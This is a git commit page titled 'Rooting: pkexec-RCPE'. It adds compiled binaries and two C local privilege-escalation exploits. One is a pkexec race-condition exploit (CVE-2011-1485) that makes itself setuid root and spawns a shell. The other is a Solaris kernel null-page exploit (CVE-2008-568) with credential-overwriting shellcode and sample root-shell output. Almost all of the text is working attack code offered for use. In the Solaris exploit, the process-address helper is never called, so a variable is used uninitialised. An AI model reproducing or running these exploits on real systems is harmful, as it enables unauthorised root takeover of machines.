Rooting: pkexec-RCPE
This commit is contained in:
parent
29c3a42b18
commit
4ea5c49f77
BIN
compile/dirty
Executable file
BIN
compile/dirty
Executable file
Binary file not shown.
BIN
compile/pkexec-RCPE
Executable file
BIN
compile/pkexec-RCPE
Executable file
Binary file not shown.
BIN
compile/rootme
Executable file
BIN
compile/rootme
Executable file
Binary file not shown.
201
pkexec-RCPE.c
Normal file
201
pkexec-RCPE.c
Normal file
@ -0,0 +1,201 @@
|
||||
/*
|
||||
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
|
||||
* Author: xi4oyu
|
||||
* Tested on: rhel 6
|
||||
* CVE : 2011-1485
|
||||
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
|
||||
¡Á U can reach us @ http://www.wooyun.org :)
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
#include <termios.h>
|
||||
#include <sys/stat.h>
|
||||
#include <errno.h>
|
||||
#include <poll.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
|
||||
int main(int argc,char *argv[], char ** envp)
|
||||
{
|
||||
|
||||
time_t tim_seed1;
|
||||
pid_t pid_seed2;
|
||||
int result;
|
||||
struct stat stat_buff;
|
||||
|
||||
char * chfn_path = "/usr/bin/chfn";
|
||||
char cmd_buff[4096];
|
||||
|
||||
char * pkexec_argv[] = {
|
||||
"/usr/bin/pkexec",
|
||||
"/bin/sh",
|
||||
"-c",
|
||||
cmd_buff,
|
||||
NULL
|
||||
};
|
||||
int pipe1[2];
|
||||
int pipe2[2];
|
||||
int pipe3[2];
|
||||
pid_t pid,pid2 ;
|
||||
char * chfn_argv[] = {
|
||||
"/usr/bin/chfn",
|
||||
NULL
|
||||
};
|
||||
|
||||
char buff[8];
|
||||
char read_buff[4096];
|
||||
char real_path[512];
|
||||
struct termios termios_p;
|
||||
|
||||
int count = 0;
|
||||
int flag = 0;
|
||||
int usleep1 = 0;
|
||||
int usleep2 = 0;
|
||||
|
||||
|
||||
bzero(cmd_buff,4096);
|
||||
bzero(real_path,512);
|
||||
realpath(argv[0],real_path);
|
||||
|
||||
tim_seed1 = time(NULL);
|
||||
pid_seed2 = getpid();
|
||||
srand(tim_seed1+pid_seed2);
|
||||
|
||||
|
||||
|
||||
|
||||
//get terminal attr
|
||||
tcgetattr(0,&termios_p);
|
||||
snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
|
||||
// printf("Cmd line:%s",cmd_buff);
|
||||
if(! geteuid()){
|
||||
//Succs => r00t!
|
||||
char * exec_argv[2]={
|
||||
"/bin/sh",
|
||||
NULL
|
||||
};
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
execve("/bin/sh",exec_argv,0);
|
||||
perror("execve shell");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("pkexec local root exploit by xi4oyu , thx to dm\n");
|
||||
|
||||
if(pipe(pipe1)){
|
||||
perror("pipe");
|
||||
exit(-2);
|
||||
}
|
||||
|
||||
for(count = 500; count && !flag; count--){
|
||||
|
||||
// printf("Count %d\n",count);
|
||||
pid = fork();
|
||||
if( !pid ){
|
||||
// Parent
|
||||
if( !pipe(pipe2)){
|
||||
|
||||
if(!pipe(pipe3)){
|
||||
pid2 = fork();
|
||||
if(!pid2){
|
||||
// Parent 2
|
||||
close(1);
|
||||
close(2);
|
||||
close(pipe1[0]);
|
||||
dup2(pipe1[1],2);
|
||||
dup2(pipe1[1],1);
|
||||
close(pipe1[1]);
|
||||
close(pipe2[0]);
|
||||
close(pipe3[1]);
|
||||
write(pipe2[1],"\xFF",1);
|
||||
read(pipe3[0],&buff,1);
|
||||
|
||||
execve(pkexec_argv[0],pkexec_argv,envp);
|
||||
perror("execve pkexec");
|
||||
exit(-3);
|
||||
|
||||
}
|
||||
close(0);
|
||||
close(1);
|
||||
close(2);
|
||||
close(pipe2[1]);
|
||||
close(pipe3[0]);
|
||||
read(pipe2[0],&buff,1);
|
||||
write(pipe3[1],"\xFF",1);
|
||||
usleep(usleep1+usleep2);
|
||||
|
||||
execve(chfn_argv[0],chfn_argv,envp);
|
||||
perror("execve setuid");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
perror("pipe3");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
|
||||
memset(pipe3,0,8);
|
||||
|
||||
struct pollfd * pollfd = (struct pollfd *)(&pipe3);
|
||||
pollfd->fd = pipe1[0];
|
||||
pollfd->events = POLLRDNORM;
|
||||
|
||||
if(poll(pollfd,1,1000) < 0){
|
||||
|
||||
perror("poll");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(pollfd->revents & POLLRDNORM ){
|
||||
memset(read_buff,0,4096);
|
||||
read(pipe1[0],read_buff,4095);
|
||||
if( strstr(read_buff,"does not match")){
|
||||
usleep1 += 500;
|
||||
usleep2 = rand() % 1000;
|
||||
|
||||
}else{
|
||||
usleep1 -= 500;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
if(!stat(real_path,&stat_buff)){
|
||||
if(!stat_buff.st_uid){
|
||||
if(!stat_buff.st_gid){
|
||||
if(stat_buff.st_mode & 0x800){
|
||||
|
||||
char *exec_array[]={
|
||||
real_path,
|
||||
NULL
|
||||
};
|
||||
|
||||
flag = 1;
|
||||
tcsetattr(0,2,&termios_p);
|
||||
execve(real_path,exec_array,0);
|
||||
perror("execve self");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
tcsetattr(0,2,&termios_p);
|
||||
|
||||
}
|
||||
result = 0;
|
||||
return result;
|
||||
|
||||
}
|
||||
|
204
solaris-5.10.c
Normal file
204
solaris-5.10.c
Normal file
@ -0,0 +1,204 @@
|
||||
/***********************************************************
|
||||
* hoagie_solaris_siocgtunparam.c
|
||||
* LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01) - CVE-2008-568
|
||||
*
|
||||
* Bug reported by Tobias Klein
|
||||
* http://www.trapkit.de/advisories/TKADV2008-015.txt
|
||||
* Exploit by: peri.carding (http://www.void.at/main/)
|
||||
*
|
||||
* $ ./hoagie_solaris_siocgtunparam
|
||||
* hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local
|
||||
* -andi / void.at
|
||||
*
|
||||
* [*] socket created
|
||||
* [*] mapping zero page successful
|
||||
* [*] process cred address: 0xd3853894
|
||||
* [*] prepare null page
|
||||
* [*] clean up write queue
|
||||
* # uname -a
|
||||
* SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
|
||||
* # id
|
||||
* uid=0(root) gid=0(root)
|
||||
* #
|
||||
*
|
||||
* First of all we have to make sure that ip_extract_tunreq() will
|
||||
* return 0 and ipifp is still set to NULL. This can be achieved by
|
||||
* using an interface alias starting with zero. (the interface ip.tun0
|
||||
* must not exist because ipif_lookup_on_name() will "fail" to get
|
||||
* null page)
|
||||
*
|
||||
* ip_if.c / ipif_lookup_on_name()
|
||||
* ...
|
||||
* if (&cp[2] < endp && cp[1] == '0')
|
||||
* return (NULL);
|
||||
* ...
|
||||
*
|
||||
* In ip_sioctl_tunparam() ipif->ipif_ill is used for mutex enter
|
||||
* so we have to set the offet for an ill_t structure. Later putnext()
|
||||
* will be called with a queue (see ill_t). We can use this queue to
|
||||
* add a custom callback function that is used by putnext().
|
||||
*
|
||||
* ip_if.c / ip_sioctl_tunparam():
|
||||
* ...
|
||||
* ill = ipif->ipif_ill;
|
||||
* mutex_enter(&connp->conn_lock);
|
||||
* mutex_enter(&ill->ill_lock);
|
||||
* ...
|
||||
* if (success) {
|
||||
* ip1dbg(("sending down tunparam request "));
|
||||
* putnext(ill->ill_wq, mp1);
|
||||
* return (EINPROGRESS);
|
||||
* ...
|
||||
*
|
||||
* putnext.c / putnext():
|
||||
* ...
|
||||
* mutex_exit(QLOCK(qp));
|
||||
* STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
|
||||
* mp->b_datap->db_base);
|
||||
* (*putproc)(qp, mp);
|
||||
* ...
|
||||
*
|
||||
* ill_wq can't be modified from kernel space because its allocated
|
||||
* in userland -> so we cannot modify the ill_wq queue in kernel
|
||||
* code. thereforce a signal handler will clean the queue in userland.
|
||||
*
|
||||
* Affected Software: Solaris 10 without patch 138888-01 (SPARC)
|
||||
* Solaris 10 without patch 138889-01 (x86)
|
||||
* OpenSolaris < snv_77 (SPARC)
|
||||
* OpenSolaris < snv_77 (x86)
|
||||
*
|
||||
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
|
||||
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
|
||||
* DAMAGE DONE USING THIS PROGRAM.
|
||||
*
|
||||
* VOID.AT Security
|
||||
* andi@void.at
|
||||
* http://www.void.at
|
||||
*
|
||||
************************************************************/
|
||||
#define _STRUCTURED_PROC 1
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/sockio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <net/if.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/procfs.h>
|
||||
|
||||
int *nullpage;
|
||||
|
||||
void clean_up_wq() {
|
||||
fprintf(stderr, "[*] clean up write queue\n");
|
||||
*(nullpage + 0x208 / 4) = 0x000;
|
||||
}
|
||||
|
||||
int get_proc_address() {
|
||||
int fd;
|
||||
char filename[512];
|
||||
psinfo_t psinfo;
|
||||
|
||||
snprintf(filename, sizeof(filename), "/proc/%d/psinfo", getpid());
|
||||
fd = open(filename, O_RDONLY);
|
||||
if (fd == -1) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
memset(&psinfo, 0, sizeof(psinfo_t));
|
||||
if (read(fd, &psinfo, sizeof(psinfo_t)) != sizeof(psinfo_t)) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
return psinfo.pr_addr;
|
||||
}
|
||||
|
||||
/**
|
||||
* \xff\xff\xff\xff will be replaced by target process credential address
|
||||
* (can be any process). set cr_uid, cr_gid, cr_ruid and cr_rguid to 0.
|
||||
*/
|
||||
char shellcode[] =
|
||||
"\x50"
|
||||
"\xb8\xff\xff\xff\xff"
|
||||
"\x8b\x00"
|
||||
"\xc7\x40\x10\x00\x00\x00\x00"
|
||||
"\xc7\x40\x0c\x00\x00\x00\x00"
|
||||
"\xc7\x40\x08\x00\x00\x00\x00"
|
||||
"\xc7\x40\x04\x00\x00\x00\x00"
|
||||
"\x58"
|
||||
"\xc3";
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int s;
|
||||
struct iftun_req req;
|
||||
int cred_addr;
|
||||
|
||||
fprintf(stderr,
|
||||
"hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local\n"
|
||||
"-andi / void.at\n\n");
|
||||
|
||||
s = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
|
||||
if (s == -1) {
|
||||
fprintf(stderr, "[-] can't create socket\n");
|
||||
return -1;
|
||||
} else {
|
||||
fprintf(stderr, "[*] socket created\n");
|
||||
}
|
||||
|
||||
memset(&req, 0, sizeof(req));
|
||||
strcpy(req.ifta_lifr_name, "ip.tun0:012");
|
||||
|
||||
nullpage = (int*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
|
||||
if (nullpage == MAP_FAILED) {
|
||||
fprintf(stderr, "[-] can't mmap null page\n");
|
||||
return -2;
|
||||
} else {
|
||||
fprintf(stderr, "[*] mapping zero page successful\n");
|
||||
}
|
||||
|
||||
if (cred_addr == -1) {
|
||||
fprintf(stderr, "[-] can't get process address\n");
|
||||
return -3;
|
||||
} else {
|
||||
cred_addr += 0x5 * sizeof(int *);
|
||||
fprintf(stderr, "[*] process cred address: 0x%08x\n", cred_addr);
|
||||
memcpy(shellcode + 2, &cred_addr, 4);
|
||||
}
|
||||
|
||||
fprintf(stderr, "[*] prepare null page\n");
|
||||
memset(nullpage, 0, 0x1000);
|
||||
/* offset 0x0 = ipif_t */
|
||||
/* offset 0x4 = ipif_ll */
|
||||
*(nullpage + 0x004 / 4) = 0x200;
|
||||
/* offset 0x200 = ill_t */
|
||||
/* offset 0x008 = ill_wq */
|
||||
*(nullpage + 0x208 / 4) = 0x400;
|
||||
/* offset 0x400 = queue_t */
|
||||
/* offset 0x00c = q_next */
|
||||
*(nullpage + 0x40c / 4) = 0x600;
|
||||
/* offset 0x600 = queue_t (second) */
|
||||
/* offset 0x000 = qinfo */
|
||||
*(nullpage + 0x600 / 4) = 0x800;
|
||||
/* offset 0x800 = qinfo */
|
||||
/* offset 0x000 = qi_putp */
|
||||
*(nullpage + 0x800 / 4) = 0x900;
|
||||
memcpy((char*)nullpage + 0x900, shellcode, sizeof(shellcode));
|
||||
|
||||
/* install signla handler to clean up write queue */
|
||||
signal(SIGALRM, clean_up_wq);
|
||||
alarm(1);
|
||||
|
||||
/* launch attack */
|
||||
ioctl(s, SIOCGTUNPARAM, &req);
|
||||
|
||||
/* start root shell - not really required because p_cred is shared
|
||||
* but we want the nice # prompt ;-) */
|
||||
system("/bin/sh");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user